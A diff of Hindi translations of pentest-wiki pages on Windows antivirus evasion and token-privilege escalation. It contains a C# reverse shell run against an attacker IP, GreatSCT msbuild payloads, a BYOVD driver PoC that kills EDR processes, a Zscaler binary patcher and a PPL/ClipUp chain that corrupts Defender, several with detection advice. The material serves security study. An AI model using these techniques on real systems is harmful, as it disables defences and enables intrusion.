- अगर यह पहले से चल रहा है तो `winvnc` शुरू न करें अन्यथा आप एक [popup](https://i.imgur.com/1SROTTl.png) ट्रिगर कर देंगे। यह चल रहा है या नहीं, जांचने के लिए `tasklist | findstr winvnc` का उपयोग करें
|
||||
- उसी डायरेक्टरी में `UltraVNC.ini` के बिना `winvnc` न चलाएँ अन्यथा यह [the config window](https://i.imgur.com/rfMQWcf.png) खोल देगा
|
||||
- मदद के लिए `winvnc -h` न चलाएँ अन्यथा आप एक [popup](https://i.imgur.com/oc18wcu.png) ट्रिगर कर देंगे
|
||||
- `winvnc` को तब शुरू न करें यदि यह पहले से चल रहा है वरना आप एक [popup](https://i.imgur.com/1SROTTl.png) trigger कर देंगे। चल रहा है या नहीं जांचने के लिए `tasklist | findstr winvnc`
|
||||
- उसी डायरेक्टरी में `UltraVNC.ini` के बिना `winvnc` शुरू न करें वरना यह [the config window](https://i.imgur.com/rfMQWcf.png) खोल देगा
|
||||
- मदद के लिए `winvnc -h` चलाने से बचें वरना आप एक [popup](https://i.imgur.com/oc18wcu.png) trigger कर देंगे
|
||||
|
||||
### GreatSCT
|
||||
|
||||
इसे डाउनलोड करें: [https://github.com/GreatSCT/GreatSCT](https://github.com/GreatSCT/GreatSCT)
|
||||
डाउनलोड करें: [https://github.com/GreatSCT/GreatSCT](https://github.com/GreatSCT/GreatSCT)
|
||||
```
|
||||
git clone https://github.com/GreatSCT/GreatSCT.git
|
||||
cd GreatSCT/setup/
|
||||
@ -534,23 +536,23 @@ sel lport 4444
|
||||
generate #payload is the default name
|
||||
#This will generate a meterpreter xml and a rcc file for msfconsole
|
||||
```
|
||||
अब **start the lister** को `msfconsole -r file.rc` के साथ शुरू करें और **xml payload** को निम्न के साथ **execute** करें:
|
||||
अब `msfconsole -r file.rc` के साथ **start the lister** शुरू करें और **xml payload** को **execute** करें:
|
||||
```
|
||||
C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe payload.xml
|
||||
```
|
||||
**Current defender process को बहुत जल्दी terminate कर देगा।**
|
||||
**Current Defender बहुत जल्दी process को समाप्त कर देगा।**
|
||||
|
||||
### अपने स्वयं के reverse shell का कंपाइल करना
|
||||
### अपने खुद के reverse shell को कम्पाइल करना
|
||||
|
||||
https://medium.com/@Bank_Security/undetectable-c-c-reverse-shells-fab4c0ec4f15
|
||||
|
||||
#### पहला C# Revershell
|
||||
|
||||
इसे compile करें:
|
||||
इसे कम्पाइल करें:
|
||||
```
|
||||
c:\windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /t:exe /out:back2.exe C:\Users\Public\Documents\Back1.cs.txt
|
||||
```
|
||||
इसे इसके साथ उपयोग करें:
|
||||
इसे निम्न के साथ उपयोग करें:
|
||||
```
|
||||
back.exe <ATTACKER_IP> <PORT>
|
||||
```
|
||||
@ -662,11 +664,11 @@ i686-w64-mingw32-g++ prometheus.cpp -o prometheus.exe -lws2_32 -s -ffunction-sec
|
||||
- [http://www.labofapenetrationtester.com/2016/05/practical-use-of-javascript-and-com-for-pentesting.html](http://www.labofapenetrationtester.com/2016/05/practical-use-of-javascript-and-com-for-pentesting.html)
|
||||
- [http://niiconsulting.com/checkmate/2018/06/bypassing-detection-for-a-reverse-meterpreter-shell/](http://niiconsulting.com/checkmate/2018/06/bypassing-detection-for-a-reverse-meterpreter-shell/)
|
||||
|
||||
### Python का उपयोग करके build injectors का उदाहरण:
|
||||
### Python का उपयोग करके बिल्ड इंजेक्टर का उदाहरण:
|
||||
|
||||
- [https://github.com/cocomelonc/peekaboo](https://github.com/cocomelonc/peekaboo)
|
||||
|
||||
### अन्य उपकरण
|
||||
### अन्य टूल
|
||||
```bash
|
||||
# Veil Framework:
|
||||
https://github.com/Veil-Framework/Veil
|
||||
@ -691,30 +693,30 @@ https://github.com/TheWover/donut
|
||||
# Vulcan
|
||||
https://github.com/praetorian-code/vulcan
|
||||
```
|
||||
### और
|
||||
### अधिक
|
||||
|
||||
- [https://github.com/Seabreg/Xeexe-TopAntivirusEvasion](https://github.com/Seabreg/Xeexe-TopAntivirusEvasion)
|
||||
|
||||
## Bring Your Own Vulnerable Driver (BYOVD) – Killing AV/EDR From Kernel Space
|
||||
|
||||
Storm-2603 ने Antivirus Terminator नामक एक छोटे कंसोल यूटिलिटी का उपयोग करके ransomware डालने से पहले endpoint protections को disable किया। यह टूल अपना vulnerable परन्तु signed ड्राइवर लेकर आता है और उसे abuse करके privileged kernel operations जारी करता है जिन्हें Protected-Process-Light (PPL) AV सेवाएँ भी block नहीं कर पातीं।
|
||||
Storm-2603 ने एक छोटे console utility जिसे <code>Antivirus Terminator</code> कहा जाता है, का उपयोग करके endpoint सुरक्षा को अक्षम किया और फिर ransomware गिराई। यह tool अपना खुद का vulnerable लेकिन *signed* driver लाता है और इसे गलत तरीके से उपयोग करके privileged kernel operations जारी करता है जिन्हें Protected-Process-Light (PPL) AV सेवाएँ भी ब्लॉक नहीं कर सकतीं।
|
||||
|
||||
मुख्य निष्कर्ष
|
||||
1. **Signed driver**: डिस्क पर डिलीवर की गई फ़ाइल `ServiceMouse.sys` है, पर बाइनरी वास्तव में Antiy Labs के “System In-Depth Analysis Toolkit” का वैध रूप से signed ड्राइवर `AToolsKrnl64.sys` है। चूंकि ड्राइवर पर वैध Microsoft सिग्नेचर है, यह तब भी लोड हो जाता है जब Driver-Signature-Enforcement (DSE) सक्षम हो।
|
||||
Key take-aways
|
||||
1. **Signed driver**: डिस्क पर जो फ़ाइल डिलीवर की जाती है वह `ServiceMouse.sys` है, लेकिन बाइनरी असल में Antiy Labs के “System In-Depth Analysis Toolkit” से वैध रूप से signed driver `AToolsKrnl64.sys` है। क्योंकि driver पर एक मान्य Microsoft signature है, यह तब भी लोड हो जाता है जब Driver-Signature-Enforcement (DSE) सक्षम होता है।
|
||||
2. **Service installation**:
|
||||
```powershell
|
||||
sc create ServiceMouse type= kernel binPath= "C:\Windows\System32\drivers\ServiceMouse.sys"
|
||||
sc start ServiceMouse
|
||||
```
|
||||
पहली लाइन ड्राइवर को एक kernel service के रूप में रजिस्टर करती है और दूसरी उसे स्टार्ट करती है ताकि `\\.\ServiceMouse` user land से पहुँच योग्य हो जाए।
|
||||
पहली लाइन driver को एक **kernel service** के रूप में रजिस्टर करती है और दूसरी लाइन इसे शुरू करती है ताकि `\\.\ServiceMouse` user land से उपलब्ध हो जाए।
|
||||
3. **IOCTLs exposed by the driver**
|
||||
| IOCTL code | क्षमता |
|
||||
| IOCTL code | Capability |
|
||||
|-----------:|-----------------------------------------|
|
||||
| `0x99000050` | PID द्वारा किसी भी arbitrary process को terminate करें (Defender/EDR services को kill करने के लिए उपयोग किया गया) |
|
||||
| `0x990000D0` | डिस्क पर किसी भी arbitrary फ़ाइल को delete करें |
|
||||
| `0x990001D0` | ड्राइवर को unload करें और service को हटाएँ |
|
||||
| `0x99000050` | PID द्वारा किसी भी प्रक्रिया को समाप्त करना (Defender/EDR services को मारने के लिए उपयोग किया गया) |
|
||||
| `0x990000D0` | डिस्क पर किसी भी arbitrary फ़ाइल को हटाना |
|
||||
| `0x990001D0` | ड्राइवर को unload करना और सेवा को हटाना |
|
||||
|
||||
न्यूनतम C proof-of-concept:
|
||||
Minimal C proof-of-concept:
|
||||
```c
|
||||
#include <windows.h>
|
||||
|
||||
@ -726,28 +728,28 @@ CloseHandle(hDrv);
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
4. **Why it works**: BYOVD पूरी तरह user-mode protections को बायपास कर देता है; kernel में चलने वाला कोड *protected* processes को खोल सकता है, उन्हें terminate कर सकता है, या kernel objects के साथ छेड़छाड़ कर सकता है, बिना PPL/PP, ELAM या अन्य hardening features की परवाह किए।
|
||||
4. **Why it works**: BYOVD user-mode सुरक्षा को पूरी तरह स्किप कर देता है; kernel में चलने वाला कोड protected processes को खोल सकता है, उन्हें terminate कर सकता है, या kernel objects के साथ छेड़छाड़ कर सकता है चाहे PPL/PP, ELAM या अन्य hardening फीचर्स मौजूद हों।
|
||||
|
||||
Detection / Mitigation
|
||||
• Microsoft की vulnerable-driver block list (`HVCI`, `Smart App Control`) सक्षम करें ताकि Windows `AToolsKrnl64.sys` को लोड करने से इंकार कर दे।
|
||||
• नए *kernel* services के निर्माण की निगरानी करें और अलर्ट दें जब कोई ड्राइवर world-writable directory से लोड हो या allow-list पर मौजूद न हो।
|
||||
• custom device objects के लिए user-mode handles और उसके बाद संदिग्ध `DeviceIoControl` कॉल्स पर निगरानी रखें।
|
||||
• Microsoft के vulnerable-driver block list (`HVCI`, `Smart App Control`) को सक्षम करें ताकि Windows `AToolsKrnl64.sys` को लोड करने से इनकार करे।
|
||||
• नए *kernel* services के निर्माण की निगरानी करें और अलर्ट करें जब कोई ड्राइवर world-writable directory से लोड किया जाए या allow-list पर न हो।
|
||||
• कस्टम device objects के लिए user-mode handles और उसके बाद होने वाले संदिग्ध `DeviceIoControl` कॉल्स पर नजर रखें।
|
||||
|
||||
### Bypassing Zscaler Client Connector Posture Checks via On-Disk Binary Patching
|
||||
|
||||
Zscaler का Client Connector device-posture rules को लोकली लागू करता है और परिणामों को अन्य components तक पहुँचाने के लिए Windows RPC पर निर्भर करता है। दो कमजोर डिजाइन विकल्प एक पूर्ण bypass को संभव बनाते हैं:
|
||||
Zscaler’s Client Connector स्थानीय रूप से device-posture नियम लागू करता है और परिणामों को अन्य घटकों को संप्रेषित करने के लिए Windows RPC पर निर्भर करता है। दो कमजोर डिज़ाइन विकल्प एक पूर्ण bypass को संभव बनाते हैं:
|
||||
|
||||
1. Posture मूल्यांकन पूरी तरह client-side पर होता है (server को एक boolean भेजा जाता है)।
|
||||
1. Posture evaluation पूरी तरह से client-side पर होता है (एक boolean सर्वर को भेजा जाता है)।
|
||||
2. Internal RPC endpoints केवल यह सत्यापित करते हैं कि connecting executable Zscaler द्वारा signed है (via `WinVerifyTrust`)।
|
||||
|
||||
डिस्क पर चार signed binaries को patch करके दोनों तंत्र निष्क्रिय किए जा सकते हैं:
|
||||
डिस्क पर चार signed binaries को patch करके दोनों mechanisms को neutralise किया जा सकता है:
|
||||
|
||||
| Binary | Original logic patched | Result |
|
||||
|--------|------------------------|---------|
|
||||
| `ZSATrayManager.exe` | `devicePostureCheck() → return 0/1` | हमेशा `1` लौटाता है, इसलिए हर चेक compliant हो जाता है |
|
||||
| `ZSAService.exe` | WinVerifyTrust के लिए indirect कॉल | NOP-ed ⇒ कोई भी (यहाँ तक कि unsigned भी) process RPC pipes से bind कर सकता है |
|
||||
| `ZSATrayHelper.dll` | `verifyZSAServiceFileSignature()` | को `mov eax,1 ; ret` से बदल दिया गया |
|
||||
| `ZSATunnel.exe` | टनल पर integrity checks | Short-circuited |
|
||||
| `ZSATrayManager.exe` | `devicePostureCheck() → return 0/1` | हमेशा `1` लौटाता है इसलिए हर चेक compliant हो जाता है |
|
||||
| `ZSAService.exe` | `Indirect call to \`WinVerifyTrust\`` | NOP-ed ⇒ कोई भी (यहाँ तक कि unsigned) process RPC pipes से bind कर सकता है |
|
||||
| `ZSATrayHelper.dll` | `verifyZSAServiceFileSignature()` | `mov eax,1 ; ret` से बदला गया |
|
||||
| `ZSATunnel.exe` | Tunnel पर integrity checks | बायपास किया गया |
|
||||
|
||||
Minimal patcher excerpt:
|
||||
```python
|
||||
@ -763,33 +765,33 @@ else:
|
||||
f.seek(off)
|
||||
f.write(replacement)
|
||||
```
|
||||
मूल फ़ाइलों को बदलने और सर्विस स्टैक को पुनरारंभ करने के बाद:
|
||||
मूल फाइलों को बदलने और सर्विस स्टैक को पुनरारम्भ करने के बाद:
|
||||
|
||||
* **सभी** posture checks **हरा/अनुरूप** दिखाते हैं।
|
||||
* Unsigned या modified binaries named-pipe RPC endpoints खोल सकते हैं (उदा. `\\RPC Control\\ZSATrayManager_talk_to_me`)।
|
||||
* समझौता किया हुआ होस्ट Zscaler नीतियों द्वारा परिभाषित आंतरिक नेटवर्क तक अनरोधित पहुँच प्राप्त कर लेता है।
|
||||
* **सभी** posture checks **green/compliant** प्रदर्शित करते हैं।
|
||||
* Unsigned या संशोधित binaries नामित-पाइप RPC endpoints खोल सकते हैं (उदा. `\\RPC Control\\ZSATrayManager_talk_to_me`)।
|
||||
* समझौता किया गया होस्ट Zscaler नीतियों द्वारा परिभाषित आंतरिक नेटवर्क तक असीमित पहुँच प्राप्त कर लेता है।
|
||||
|
||||
यह केस स्टडी दिखाती है कि कैसे शुद्ध रूप से client-side trust निर्णय और साधारण signature checks कुछ byte patches से हराए जा सकते हैं।
|
||||
यह केस स्टडी दिखाती है कि कैसे केवल client-side ट्रस्ट निर्णय और सरल सिग्नेचर चेक कुछ बाइट पैचेस से विफल किए जा सकते हैं।
|
||||
|
||||
## Protected Process Light (PPL) का दुरुपयोग करके AV/EDR को LOLBINs के साथ टेम्पर करना
|
||||
## Protected Process Light (PPL) का दुरुपयोग कर AV/EDR को LOLBINs के साथ टैंपर करना
|
||||
|
||||
Protected Process Light (PPL) एक signer/level hierarchy लागू करता है ताकि केवल समान या उच्चतर protected processes ही एक-दूसरे को टेम्पर कर सकें। आक्रामक रूप से, यदि आप वैध रूप से कोई PPL-enabled binary लॉन्च कर सकते हैं और इसके arguments नियंत्रित कर सकते हैं, तो आप benign functionality (उदा., logging) को एक सीमित, PPL-backed write primitive में बदल सकते हैं जो AV/EDR द्वारा उपयोग किए जाने वाले protected directories के खिलाफ लिखता है।
|
||||
Protected Process Light (PPL) एक signer/level hierarchy लागू करता है ताकि केवल समान-या-उच्च सुरक्षा वाले protected processes ही एक दूसरे को टैंपर कर सकें। Offensive दृष्टिकोण से, अगर आप वैध रूप से कोई PPL-enabled binary लॉन्च कर सकते हैं और उसके arguments नियंत्रित कर सकते हैं, तो आप benign functionality (जैसे logging) को एक constrained, PPL-backed write primitive में बदल सकते हैं जो AV/EDR द्वारा उपयोग किए जाने वाले protected directories के खिलाफ काम करता है।
|
||||
|
||||
किस बात से कोई process PPL के रूप में चलता है
|
||||
- लक्षित EXE (और कोई भी loaded DLLs) PPL-capable EKU के साथ signed होना चाहिए।
|
||||
- प्रक्रिया CreateProcess के साथ उन flags का उपयोग करके बनाई जानी चाहिए: `EXTENDED_STARTUPINFO_PRESENT | CREATE_PROTECTED_PROCESS`।
|
||||
- एक compatible protection level request किया जाना चाहिए जो binary के signer से मेल खाता हो (उदा., `PROTECTION_LEVEL_ANTIMALWARE_LIGHT` anti-malware signers के लिए, `PROTECTION_LEVEL_WINDOWS` Windows signers के लिए)। गलत levels पर creation विफल हो जाएगा।
|
||||
What makes a process run as PPL
|
||||
- Target EXE (and any loaded DLLs) को PPL-capable EKU के साथ साइन किया जाना चाहिए।
|
||||
- प्रोसेस को CreateProcess का उपयोग करके इन flags के साथ बनाया जाना चाहिए: `EXTENDED_STARTUPINFO_PRESENT | CREATE_PROTECTED_PROCESS`।
|
||||
- एक compatible protection level अनुरोध किया जाना चाहिए जो binary के signer से मेल खाता हो (उदा., anti-malware signers के लिए `PROTECTION_LEVEL_ANTIMALWARE_LIGHT`, Windows signers के लिए `PROTECTION_LEVEL_WINDOWS`)। गलत level होने पर creation विफल हो जाएगी।
|
||||
|
||||
PP/PPL और LSASS protection का विस्तृत परिचय भी यहाँ देखें:
|
||||
See also a broader intro to PP/PPL and LSASS protection here:
|
||||
|
||||
{{#ref}}
|
||||
stealing-credentials/credentials-protections.md
|
||||
{{#endref}}
|
||||
|
||||
लॉन्चर टूलिंग
|
||||
- Open-source helper: CreateProcessAsPPL (protection level चुनता है और arguments target EXE को फॉरवर्ड करता है):
|
||||
Launcher tooling
|
||||
- Open-source helper: CreateProcessAsPPL (selects protection level and forwards arguments to the target EXE):
|
||||
- [https://github.com/2x7EQ13/CreateProcessAsPPL](https://github.com/2x7EQ13/CreateProcessAsPPL)
|
||||
- उपयोग पैटर्न:
|
||||
- Usage pattern:
|
||||
```text
|
||||
CreateProcessAsPPL.exe <level 0..4> <path-to-ppl-capable-exe> [args...]
|
||||
# example: spawn a Windows-signed component at PPL level 1 (Windows)
|
||||
@ -797,20 +799,20 @@ CreateProcessAsPPL.exe 1 C:\Windows\System32\ClipUp.exe <args>
|
||||
# example: spawn an anti-malware signed component at level 3
|
||||
CreateProcessAsPPL.exe 3 <anti-malware-signed-exe> <args>
|
||||
```
|
||||
LOLBIN primitive: ClipUp.exe
|
||||
- साइन किया गया सिस्टम बाइनरी `C:\Windows\System32\ClipUp.exe` स्वयं-स्पॉन करता है और कॉलर-निर्दिष्ट पथ पर लॉग फ़ाइल लिखने के लिए एक पैरामीटर स्वीकार करता है।
|
||||
- जब इसे PPL प्रक्रिया के रूप में लॉन्च किया जाता है, तो फ़ाइल लिखाई PPL बैकिंग के साथ होती है।
|
||||
- ClipUp स्पेस वाले पाथ्स को पार्स नहीं कर सकता; सामान्यतः संरक्षित लोकेशनों की ओर इंगित करने के लिए 8.3 short paths का उपयोग करें।
|
||||
LOLBIN प्रिमिटिव: ClipUp.exe
|
||||
- The signed system binary `C:\Windows\System32\ClipUp.exe` स्वयं-स्पॉन करता है और caller-specified path पर एक log फ़ाइल लिखने के लिए एक parameter स्वीकार करता है।
|
||||
- जब इसे एक PPL प्रक्रिया के रूप में लॉन्च किया जाता है, तो फ़ाइल लिखना PPL backing के साथ होता है।
|
||||
- ClipUp स्पेस वाले paths को पार्स नहीं कर सकता; सामान्यतः सुरक्षित लोकेशनों की ओर संकेत करने के लिए 8.3 short paths का प्रयोग करें।
|
||||
|
||||
8.3 short path helpers
|
||||
- शॉर्ट नाम सूचीबद्ध करने के लिए: प्रत्येक parent directory में `dir /x` चलाएँ।
|
||||
- cmd में शॉर्ट पथ निकालने के लिए: `for %A in ("C:\ProgramData\Microsoft\Windows Defender\Platform") do @echo %~sA`
|
||||
- शॉर्ट नाम सूचीबद्ध करें: `dir /x` प्रत्येक parent directory में।
|
||||
- cmd में शॉर्ट पाथ निकालें: `for %A in ("C:\ProgramData\Microsoft\Windows Defender\Platform") do @echo %~sA`
|
||||
|
||||
Abuse chain (abstract)
|
||||
1) PPL-कैपेबिलिटी वाले LOLBIN (ClipUp) को किसी लॉन्चर (उदा., CreateProcessAsPPL) का उपयोग करते हुए `CREATE_PROTECTED_PROCESS` के साथ लॉन्च करें।
|
||||
2) ClipUp के log-path आर्ग्युमेंट को पास करके किसी protected AV डायरेक्टरी (उदा., Defender Platform) में फ़ाइल निर्माण मजबूर करें। यदि आवश्यक हो तो 8.3 short names का उपयोग करें।
|
||||
3) यदि टारगेट बाइनरी सामान्यतः AV द्वारा रन के दौरान ओपन/लॉक रहती है (उदा., MsMpEng.exe), तो AV के शुरू होने से पहले बूट पर लिखने के लिए एक auto-start service इंस्टॉल करें जो विश्वसनीय रूप से पहले चले। Process Monitor (boot logging) से बूट ऑर्डरिंग को वैलिडेट करें।
|
||||
4) रीबूट पर PPL-बैक्ड लिखाई AV के अपने बाइनरीज को लॉक करने से पहले होती है, जिससे टारगेट फ़ाइल करप्ट हो जाती है और स्टार्टअप रुक जाता है।
|
||||
Abuse chain (सारांश)
|
||||
1) PPL-capable LOLBIN (ClipUp) को `CREATE_PROTECTED_PROCESS` के साथ लॉन्च करें एक launcher का उपयोग करके (उदा., CreateProcessAsPPL)।
|
||||
2) ClipUp को log-path आर्गुमेंट पास करें ताकि protected AV directory (उदा., Defender Platform) में फ़ाइल बनाना मजबूर किया जा सके। आवश्यकता होने पर 8.3 short names का उपयोग करें।
|
||||
3) अगर target binary सामान्यतः AV द्वारा चलने के दौरान open/locked रहती है (उदा., MsMpEng.exe), तो AV के शुरू होने से पहले बूट पर लिखने का शेड्यूल करें — इसके लिए एक auto-start service इंस्टॉल करें जो विश्वसनीय रूप से पहले चले। Process Monitor (boot logging) से boot ordering सत्यापित करें।
|
||||
4) रीबूट पर PPL-backed लिखना AV के बाइनरी लॉक करने से पहले होता है, जिससे target फ़ाइल भ्रष्ट हो जाती है और स्टार्टअप रुक जाता है।
|
||||
|
||||
Example invocation (paths redacted/shortened for safety):
|
||||
```text
|
||||
@ -818,21 +820,21 @@ Example invocation (paths redacted/shortened for safety):
|
||||
CreateProcessAsPPL.exe 1 C:\Windows\System32\ClipUp.exe -ppl C:\PROGRA~3\MICROS~1\WINDOW~1\Platform\<ver>\samplew.dll
|
||||
```
|
||||
Notes and constraints
|
||||
- आप ClipUp द्वारा लिखी जाने वाली सामग्री पर प्लेसमेंट के अलावा नियंत्रण नहीं कर सकते; यह primitive सटीक सामग्री इंजेक्शन के बजाय करप्शन के लिए उपयुक्त है।
|
||||
- एक service को install/start करने के लिए local admin/SYSTEM की आवश्यकता होती है और एक reboot विंडो चाहिए।
|
||||
- टाइमिंग महत्वपूर्ण है: लक्ष्य खुला नहीं होना चाहिए; boot-time execution file locks से बचाता है।
|
||||
- आप placement के अलावा ClipUp द्वारा लिखी जाने वाली सामग्री को नियंत्रित नहीं कर सकते; यह primitive सटीक कंटेंट इंजेक्शन के बजाय भ्रष्ट करने के लिए उपयुक्त है।
|
||||
- सेवा इंस्टॉल/स्टार्ट करने और रिबूट विंडो के लिए local admin/SYSTEM की आवश्यकता होती है।
|
||||
- टाइमिंग महत्वपूर्ण है: लक्ष्य खुला नहीं होना चाहिए; बूट-टाइम निष्पादन फाइल लॉक से बचाता है।
|
||||
|
||||
Detections
|
||||
- अनियमित arguments के साथ `ClipUp.exe` की process creation, खासकर जब यह non-standard launchers द्वारा parent हो और बूट के आस-पास हो।
|
||||
- नए services जिनके लिए संदिग्ध binaries auto-start के रूप में कॉन्फ़िगर किए गए हैं और जो लगातार Defender/AV से पहले शुरू हो रहे हैं। Defender startup failures से पहले service creation/modification की जाँच करें।
|
||||
- Defender binaries/Platform directories पर file integrity monitoring; protected-process flags वाले processes द्वारा अप्रत्याशित file creations/modifications।
|
||||
- ETW/EDR telemetry: `CREATE_PROTECTED_PROCESS` के साथ बनाए गए processes और non-AV binaries द्वारा असामान्य PPL level उपयोग की तलाश करें।
|
||||
- असामान्य arguments के साथ `ClipUp.exe` की process रचना, विशेषकर non-standard launchers द्वारा parent की गई और बूट के आसपास।
|
||||
- ऐसे नए services जो suspicious binaries को auto-start के लिए कॉन्फ़िगर किए गए हों और जो लगातार Defender/AV से पहले शुरू हों। Defender startup विफलताओं से पहले service creation/modification की जाँच करें।
|
||||
- Defender binaries/Platform डायरेक्टरीज़ पर file integrity monitoring; protected-process flag वाले processes द्वारा अनपेक्षित file creations/modifications।
|
||||
- ETW/EDR telemetry: `CREATE_PROTECTED_PROCESS` के साथ बनाए गए processes और non-AV binaries द्वारा असामान्य PPL स्तर उपयोग की तलाश करें।
|
||||
|
||||
Mitigations
|
||||
- WDAC/Code Integrity: सीमित करें कि कौन से signed binaries PPL के रूप में और किन parents के तहत चल सकते हैं; legitimate contexts के बाहर ClipUp invocation को ब्लॉक करें।
|
||||
- WDAC/Code Integrity: यह सीमित करें कि कौन से signed binaries PPL के रूप में और किन parents के तहत चल सकते हैं; वैध contexts के बाहर ClipUp invocation को ब्लॉक करें।
|
||||
- Service hygiene: auto-start services के creation/modification को सीमित करें और start-order manipulation की निगरानी करें।
|
||||
- सुनिश्चित करें कि Defender tamper protection और early-launch protections सक्षम हैं; binary corruption संकेत करने वाले startup errors की जाँच करें।
|
||||
- यदि आपके पर्यावरण के अनुकूल हो तो security tooling होस्ट करने वाले वॉल्यूम्स पर 8.3 short-name generation को अक्षम करने पर विचार करें (पूरी तरह से परीक्षण करें)।
|
||||
- सुनिश्चित करें कि Defender tamper protection और early-launch protections सक्षम हैं; binary corruption के संकेत देने वाली startup त्रुटियों की जाँच करें।
|
||||
- यदि आपके वातावरण के साथ संगत हो तो security tooling होस्ट करने वाले वॉल्यूम पर 8.3 short-name generation को अक्षम करने पर विचार करें (पूरी तरह परीक्षण करें)।
|
||||
|
||||
References for PPL and tooling
|
||||
- Microsoft Protected Processes overview: https://learn.microsoft.com/windows/win32/procthread/protected-processes
|
||||
|
||||
@ -1,180 +0,0 @@
|
||||
# Tokens का दुरुपयोग
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Tokens
|
||||
|
||||
यदि आप **Windows Access Tokens क्या हैं** नहीं जानते हैं, तो आगे बढ़ने से पहले इस पृष्ठ को पढ़ें:
|
||||
|
||||
{{#ref}}
|
||||
../access-tokens.md
|
||||
{{#endref}}
|
||||
|
||||
**शायद आप पहले से मौजूद टोकनों का दुरुपयोग करके विशेषाधिकार बढ़ा सकते हैं**
|
||||
|
||||
### SeImpersonatePrivilege
|
||||
|
||||
यह विशेषाधिकार किसी भी प्रक्रिया द्वारा धारण किया जाता है जो किसी भी टोकन का अनुकरण (लेकिन निर्माण नहीं) करने की अनुमति देता है, बशर्ते कि इसके लिए एक हैंडल प्राप्त किया जा सके। एक विशेषाधिकार प्राप्त टोकन को Windows सेवा (DCOM) से NTLM प्रमाणीकरण को एक एक्सप्लॉइट के खिलाफ प्रदर्शन करने के लिए प्रेरित करके प्राप्त किया जा सकता है, जिससे SYSTEM विशेषाधिकार के साथ एक प्रक्रिया के निष्पादन की अनुमति मिलती है। इस भेद्यता का लाभ विभिन्न उपकरणों का उपयोग करके उठाया जा सकता है, जैसे [juicy-potato](https://github.com/ohpe/juicy-potato), [RogueWinRM](https://github.com/antonioCoco/RogueWinRM) (जिसके लिए winrm को बंद करना आवश्यक है), [SweetPotato](https://github.com/CCob/SweetPotato), [EfsPotato](https://github.com/zcgonvh/EfsPotato), [DCOMPotato](https://github.com/zcgonvh/DCOMPotato) और [PrintSpoofer](https://github.com/itm4n/PrintSpoofer).
|
||||
|
||||
{{#ref}}
|
||||
../roguepotato-and-printspoofer.md
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
../juicypotato.md
|
||||
{{#endref}}
|
||||
|
||||
### SeAssignPrimaryPrivilege
|
||||
|
||||
यह **SeImpersonatePrivilege** के समान है, यह एक विशेषाधिकार प्राप्त टोकन प्राप्त करने के लिए **समान विधि** का उपयोग करेगा।\
|
||||
फिर, यह विशेषाधिकार **एक नए/स्थगित प्रक्रिया** को एक प्राथमिक टोकन असाइन करने की अनुमति देता है। विशेषाधिकार प्राप्त अनुकरण टोकन के साथ आप एक प्राथमिक टोकन (DuplicateTokenEx) उत्पन्न कर सकते हैं।\
|
||||
इस टोकन के साथ, आप 'CreateProcessAsUser' के साथ एक **नई प्रक्रिया** बना सकते हैं या एक प्रक्रिया को स्थगित कर सकते हैं और **टोकन सेट कर सकते हैं** (सामान्यतः, आप एक चल रही प्रक्रिया के प्राथमिक टोकन को संशोधित नहीं कर सकते)।
|
||||
|
||||
### SeTcbPrivilege
|
||||
|
||||
यदि आपने इस टोकन को सक्षम किया है, तो आप **KERB_S4U_LOGON** का उपयोग करके किसी अन्य उपयोगकर्ता के लिए **अनुकरण टोकन** प्राप्त कर सकते हैं बिना क्रेडेंशियल्स को जाने, **टोकन में एक मनमाना समूह** (admins) जोड़ सकते हैं, टोकन के **अखंडता स्तर** को "**मध्यम**" पर सेट कर सकते हैं, और इस टोकन को **वर्तमान थ्रेड** पर असाइन कर सकते हैं (SetThreadToken)।
|
||||
|
||||
### SeBackupPrivilege
|
||||
|
||||
यह विशेषाधिकार किसी भी फ़ाइल (पढ़ने के संचालन तक सीमित) को **सभी पढ़ने की पहुंच** नियंत्रण देने के लिए प्रणाली को प्रेरित करता है। इसका उपयोग **स्थानीय व्यवस्थापक** खातों के पासवर्ड हैश को रजिस्ट्री से पढ़ने के लिए किया जाता है, जिसके बाद, "**psexec**" या "**wmiexec**" जैसे उपकरणों का उपयोग हैश के साथ किया जा सकता है (Pass-the-Hash तकनीक)। हालाँकि, यह तकनीक दो स्थितियों में विफल होती है: जब स्थानीय व्यवस्थापक खाता अक्षम होता है, या जब एक नीति लागू होती है जो दूरस्थ रूप से कनेक्ट करने वाले स्थानीय व्यवस्थापकों से प्रशासनिक अधिकार हटा देती है।\
|
||||
आप इस विशेषाधिकार का **दुरुपयोग** कर सकते हैं:
|
||||
|
||||
- [https://github.com/Hackplayers/PsCabesha-tools/blob/master/Privesc/Acl-FullControl.ps1](https://github.com/Hackplayers/PsCabesha-tools/blob/master/Privesc/Acl-FullControl.ps1)
|
||||
- [https://github.com/giuliano108/SeBackupPrivilege/tree/master/SeBackupPrivilegeCmdLets/bin/Debug](https://github.com/giuliano108/SeBackupPrivilege/tree/master/SeBackupPrivilegeCmdLets/bin/Debug)
|
||||
- **IppSec** का पालन करते हुए [https://www.youtube.com/watch?v=IfCysW0Od8w\&t=2610\&ab_channel=IppSec](https://www.youtube.com/watch?v=IfCysW0Od8w&t=2610&ab_channel=IppSec)
|
||||
- या जैसा कि **Backup Operators के साथ विशेषाधिकार बढ़ाने** के अनुभाग में समझाया गया है:
|
||||
|
||||
{{#ref}}
|
||||
../../active-directory-methodology/privileged-groups-and-token-privileges.md
|
||||
{{#endref}}
|
||||
|
||||
### SeRestorePrivilege
|
||||
|
||||
किसी भी सिस्टम फ़ाइल के लिए **लेखन पहुंच** की अनुमति इस विशेषाधिकार द्वारा प्रदान की जाती है, चाहे फ़ाइल की एक्सेस कंट्रोल लिस्ट (ACL) कुछ भी हो। यह कई संभावनाओं को खोलता है, जिसमें **सेवाओं को संशोधित करना**, DLL Hijacking करना, और विभिन्न अन्य तकनीकों के बीच इमेज फ़ाइल निष्पादन विकल्पों के माध्यम से **डिबगर** सेट करना शामिल है।
|
||||
|
||||
### SeCreateTokenPrivilege
|
||||
|
||||
